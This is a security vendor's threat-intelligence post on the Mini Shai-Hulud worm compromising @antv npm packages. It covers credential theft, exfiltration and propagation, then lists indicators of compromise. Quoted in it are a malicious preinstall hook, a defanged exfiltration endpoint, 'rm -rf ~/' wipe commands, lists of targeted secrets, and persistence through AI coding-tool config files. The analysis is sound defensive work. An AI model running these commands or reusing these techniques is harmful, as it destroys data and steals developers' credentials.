BACK TO BLOGS Back to Press Releases

Reverse Shai-Hulud: Supply chain compromise impacts @antv packages

Written by:

Will Pires, Pandeli Zi, Alexander Aguiar, John Moutos, ThreatLocker Threat Intelligence

Repeat Mini Shai-Hulud deployment expected to impact thousands of downstream users

The Mini Shai-Hulud worm has once again been deployed in a widespread supply chain attack now originating from the @antv npm ecosystem. This breach has been directly tied to maintainer account atool, who published malicious versions across @antv/* packages between 5/19/2026 1:39 UTC and 5/19/2026 2:06 UTC.  

Due to the propagating nature of this worm, hundreds of packages have been compromised and used to spread malicious files, stealing and exfiltrating secrets along the way. The popularity and dependencies on these compromised packages set an expectation of thousands of downstream users being quietly compromised, and at the time of writing, secrets were actively being exfiltrated through public repositories.

Threat analysis: Hundreds of versions and packages affected

Dozens of packages directly under the @antv parent have been confirmed to contain malicious index.js files resulting in 600+ versions across 300+ packages from other vendors at the time of writing.

The malicious index.js file is invoked by either a prepare or preinstall action defined in package.json:

"prepare": "bun run index.js && exit 1"

A factor that contributes to this worm being undetected is that malicious code runs before the expected package is installed, providing the user with the expected tools as well as the unexpected worm.

The index.js contains the malicious payload and is heavily obfuscated by several different methods. Strings and variables such as links, C2 communication, and local paths are parsed and decoded at runtime, which severely limits static analysis.  

The first significant action taken is the theft of CI/CD and developer secrets including npm and GitHub tokens, credentials from AWS and Docker, SSH keys, .env files, and several other secrets. GitHub Actions secrets are specifically captured by reading the local Runner .Worker process through /proc/<pid>/mem, which contains secrets in plaintext such as OIDC tokens, API keys, and credentials in use.

Exfiltration is performed by two different methods: direct HTTPS connections and, as a fallback, public GitHub repositories. Collected data is prepared for exfiltration through AES-256-GCM and RSA encryption before being sent to malicious endpoint:

hxxps[:]//t.m-kosche[.]com:443/api/public/otel/v1/traces

If sufficient GitHub secrets were collected, a public GitHub repository is created through GitHub APIs, and the same encrypted results are committed to Dune-themed repository names such as atreides-lasgun-393 or gesserit-fedaykin-112. These exfiltration repositories can also be located through a new marker which, when reversed, spells out “Shai-Hulud: Here We Go Again”, a marker used in previous attacks:

niagA oG eW ereH :duluH-iahS

The classic propagation performed by this worm depends on stolen npm tokens. These tokens are used to validate which packages the victim can publish before injecting the payload into existing packages and publishing them as the newest version under the victim’s identity.

If GitHub OIDC tokens are captured, many workflows allow for these tokens to translate to npm permissions, granting a temporary publishing credential to npm. Packages published through this workflow may be granted valid-looking SLSA provenance, which can pass certain security requirements that guard against less advanced supply chain attacks.

Persistence is established through several different methods, and files used for silent initiation such as .vscode/tasks.json are populated with execution hooks to the worm, which resides elsewhere on the local machine. Persistence on Linux machines includes a dead-man switch that uses the gh-token-monitor and kitty-monitor daemons to wipe data if exfiltration repositories are deleted before persistence methods are removed:

rm -rf ~/
rm -rf ~/Documents

Reduce patching risk by testing in a controlled environment

Supply chain attacks have been at the forefront of highly impactful and quickly propagating compromises in recent months. This event is simply a continuation of the same tactic being used to breach large subsets of users in a short amount of time, and its effectiveness has been proven past any doubt.

The focus of attacks has clearly shifted from exploiting outdated software to pushing malware through trusted sources. Despite the risk of new vulnerabilities being discovered, developers and users alike simply cannot blindly update packages without risk of these attacks. Only patches that have been validated in a testing environment should be deployed to avoid instability or malware.

Careful research must be performed on required updates and their contents to prevent these fast-acting and effective methods from stealing secrets and continuing their spread.

IOCs

Network / C2

  • http://169.254.169.254/ (AWS IMDS instance)
  • http://169.254.170.2/ (AWS IMDS instance)
  • api[.]github[.]com
  • api[.]github[.]com/search/commits?q=firedalazer
  • filev2[.]getsession[.]org/file/
  • fulcio[.]sigstore[.]dev/api/v2/signingCert
  • github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • rekor[.]sigstore[.]dev/api/v1/log/entries
  • t[.]m-kosche[.]com
  • hxxps[:]//t[.]m-kosche[.]com:443/api/public/otel/v1/traces

Package / Dependency Markers

  • @antv/setup in optionalDependencies
  • anomalous large index.js payloads greater than approximately 400 KB
  • github:antvis/G2#1916faa365f2788b6e193514872d51a242876569
  • github:antvis/G2#7cb42f57561c321ecb09b4552802ae0ac55b3a7a
  • github:cap-js/openapi#d78c25443ec4a0d7f0a85776461f3b1163132537
  • preinstall or postinstall referencing bun run index.js
  • root-level obfuscated index.js payload

Payload / Code Markers

  • 0x19000
  • __DAEMONIZED
  • globalThis.fc2edea72
  • SHA-256: 7c24b4d9a8f448832f3752d7f67dcdbf1b7f0f41e10bf633efa175e627144e8b
  • SHA-256: a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1

Secret Targets

  • ACTIONS_ID_TOKEN_REQUEST_TOKEN
  • ACTIONS_ID_TOKEN_REQUEST_URL
  • AWS_ACCESS_KEY_ID
  • AWS_CONFIG_FILE
  • AWS_CONTAINER_CREDENTIALS_FULL_URI
  • AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
  • AWS_ROLE_ARN
  • AWS_ROLE_SESSION_NAME
  • AWS_SECRET_ACCESS_KEY
  • AWS_SESSION_TOKEN
  • AWS_SHARED_CREDENTIALS_FILE
  • AWS_WEB_IDENTITY_TOKEN_FILE
  • GITHUB_TOKEN
  • KUBECONFIG
  • KUBERNETES_SERVICE_HOST
  • VAULT_ADDR
  • VAULT_API_TOKEN
  • VAULT_AUTH_TOKEN
  • VAULT_TOKEN

Persistence Artifacts

  • .github/workflows/codeql.yml
  • .github/workflows/format-check.yml
  • .claude/settings.json
  • .claude/setup.mjs
  • .vscode/setup.mjs
  • .vscode/tasks.json
  • /var/tmp/.gh_update_state
  • ~/.claude/package/index.js
  • ~/.codex/package/index.js
  • ~/.config/gh-token-monitor/
  • ~/.config/systemd/user/gh-token-monitor.service
  • ~/.config/systemd/user/kitty-monitor.service
  • ~/.local/bin/gh-token-monitor.sh
  • ~/.local/share/kitty/cat.py
  • ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
  • ~/Library/LaunchAgents/com.user.kitty-monitor.plist

Github / Campaign Markers

  • A Mini Shai-Hulud has Appeared
  • Shai-Hulud: Here We Go Again
  • niagA oG eW ereH :duluH-iahS
  • niaga og ew ereh :duluh-iahs
  • atreides-ornithopter-112
  • fremen-fedaykin-225
  • harkonnen-phibian-552
  • kanly-lasgun-874
  • sayyadina-stillsuit-852
  • Repository naming pattern: <dune-word>-<dune-word>-<digits>
  • Branch: chore/add-codeql-static-analysis
  • claude@users.noreply.github.com
  • Commit message: fix: ci
  • firedalazer
  • IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner
  • results/results-*.json

Start your path to stronger defenses

Start your trial

Try ThreatLocker free for 30 days and experience full Zero Trust protection in your own environment.

Book a demo

Schedule a customized demo and explore how ThreatLocker aligns with your security goals.

Ask an expert

Just starting to explore our platform? Find out what ThreatLocker is, how it works, and how it’s different.